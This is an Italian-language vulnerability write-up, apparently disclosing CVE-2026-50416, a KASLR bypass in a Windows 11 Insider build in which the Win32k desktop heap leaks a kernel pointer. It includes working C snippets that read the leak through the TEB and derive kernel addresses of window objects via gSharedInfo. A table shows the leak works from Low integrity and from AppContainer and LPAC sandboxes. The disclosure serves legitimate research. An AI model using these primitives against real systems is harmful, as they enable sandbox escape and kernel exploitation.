CVE-2026-50416: Windows 11 KASLR bypass
Sulla build Insider di Windows 11 10.0.28020.2149, il mapping in modalità utente dell'heap del desktop Win32k esponeva un puntatore grezzo al pool della sessione kernel all'offset 0x100.
La lettura in sé è quasi offensivamente piccola:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Nella mia sessione di test, restituiva:
0xffffc600dcc00040
Il valore rimaneva identico tra processi sullo stesso desktop e cambiava dopo un riavvio. Un processo avviato su un altro desktop riceveva un valore diverso perché aveva un heap del desktop diverso. Da questo singolo QWORD, il PoC ha recuperato la base dell'heap del desktop kernel e poi ha utilizzato user32!gSharedInfo per derivare gli indirizzi kernel degli oggetti finestra attivi.
La stessa lettura funzionava da Low integrity, AppContainer, una configurazione LPAC con zero capacità, e un figlio AppContainer a Low integrity con zero capacità.
L'heap del desktop dovrebbe essere condiviso. Il puntatore kernel non lo è.
Win32k memorizza oggetti USER come finestre, menu, classi, hook e metadati correlati negli heap del desktop. Ogni desktop ha il proprio heap. Parte di quell'heap viene mappata nei processi associati al desktop così che la modalità utente possa leggere lo stato GUI condiviso senza chiedere al kernel ogni campo.
Sulla build x64 testata, il mapping in modalità utente può essere raggiunto tramite i dati client del TEB del thread corrente:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
Gli offset sono specifici della build, ma il percorso è semplice:
GS:[0x30]
-> TEB
-> ClientInfo a TEB + 0x800
-> ClientInfo[5]
-> mapping dell'heap del desktop in modalità utente
Il PoC chiama VirtualQuery sull'indirizzo restituito e registra la regione mappata e la sua protezione. Non è ancora successo nulla di sbagliato. Un mapping di sola lettura dell'heap del desktop è un comportamento normale di Win32k.
Il problema inizia 256 byte più avanti.
Il PoC principale legge un QWORD dall'heap mappato:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Il valore ha superato i controlli di base attesi da un indirizzo virtuale kernel sul sistema testato:
Il test di stabilità crea finestre STATIC, BUTTON ed EDIT, legge il valore prima della creazione, lo rilegge mentre le finestre esistono, le distrugge e lo legge una terza volta.
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
Tutte e tre le letture hanno restituito lo stesso valore. L'attività di allocazione delle finestre non lo ha spostato. Questo comportamento è coerente con un campo nei metadati dell'heap del desktop piuttosto che con un puntatore a un oggetto di breve durata.
La proprietà cross-process è altrettanto importante. Due processi collegati allo stesso desktop osservano lo stesso valore divulgato perché guardano lo stesso heap del desktop. Dopo un riavvio, KASLR dà alla sessione un nuovo indirizzo. Un figlio posto su un altro desktop osserva un altro puntatore perché quel desktop possiede un altro heap.
Questo conferisce alla fuga di informazioni un'identità utile:
stesso avvio + stesso desktop -> stesso puntatore
stesso avvio + desktop diverso -> puntatore diverso
nuovo avvio -> puntatore diverso
Sulla build testata, il puntatore divulgato si trova 0x40 byte sopra la base dell'heap del desktop kernel usata dal PoC:
ULONG64 kernel_desktop_heap_base = leaked - 0x40;
Usando il valore registrato della sessione:
puntatore divulgato = 0xffffc600dcc00040
base heap desktop kernel = 0xffffc600dcc00000
Questa relazione è specifica della build. Per la build usata durante i test, fornisce l'ancora lato kernel necessaria per il passo successivo.
Un puntatore è già utile. Un indirizzo per un oggetto scelto è molto più utile.
user32.dll esporta gSharedInfo, che espone l'elenco delle voci degli handle USER e la dimensione di ciascuna voce:
typedef struct {
PVOID psi;
PVOID aheList;
ULONG HeEntrySize;
} SHAREDINFO;
SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
GetModuleHandleA("user32.dll"),
"gSharedInfo"
);
Un HWND contiene un indice nella tabella degli handle USER. Il PoC prende i 16 bit bassi dell'handle, cammina fino alla voce corrispondente e legge l'offset dell'heap del desktop memorizzato lì.
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
Lo stesso offset identifica l'oggetto in entrambi i mapping:
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;
Quindi il calcolo completo è:
base heap desktop kernel = desktop_heap[0x100] - 0x40
indice handle = HWND & 0xffff
offset heap = aheList[indice handle].offset
indirizzo finestra kernel = base heap desktop kernel + offset heap
Il PoC crea sei classi di finestra ed esegue il calcolo per ciascuna:
STATICBUTTONEDITLISTBOXSCROLLBARCOMBOBOXPer ogni oggetto, stampa l'HWND, l'indice dell'handle, l'indirizzo dell'oggetto in modalità utente, l'offset dell'heap e l'indirizzo kernel.
HWND
-> indice handle a 16 bit bassi
-> voce handle gSharedInfo
-> offset heap del desktop
-> base heap desktop kernel + offset
-> indirizzo kernel di quell'oggetto finestra
Questa è la parte che trasforma la divulgazione da un puntatore kernel vago in un oracolo di indirizzi per oggetti USER selezionati sull'heap del desktop testato.
L'heap del desktop arriva tramite un mapping condiviso. I livelli di integrità e le restrizioni AppContainer non riscrivono i contenuti di quel mapping per ogni processo. Se il processo riceve l'heap del desktop, riceve anche il QWORD a 0x100.
Il PoC sandbox lancia figli in diversi contesti e fa leggere a ciascun figlio il valore dal proprio TEB e dal proprio mapping dell'heap del desktop.
| Contesto | Configurazione | Risultato |
|---|---|---|
| Integrità media | Processo utente standard | Divulgato |
| Integrità bassa | Integrità del token abbassata a Low | Divulgato |
| AppContainer | Zero capacità richieste | Divulgato |
| Configurazione LPAC | Tutti i pacchetti applicativi con policy opt-out, zero capacità richieste | Divulgato |
| AppContainer a integrità bassa | Low IL più AppContainer, zero capacità richieste | Divulgato |
| Desktop alternativo | Figlio assegnato a un nuovo desktop | Divulgato un valore diverso |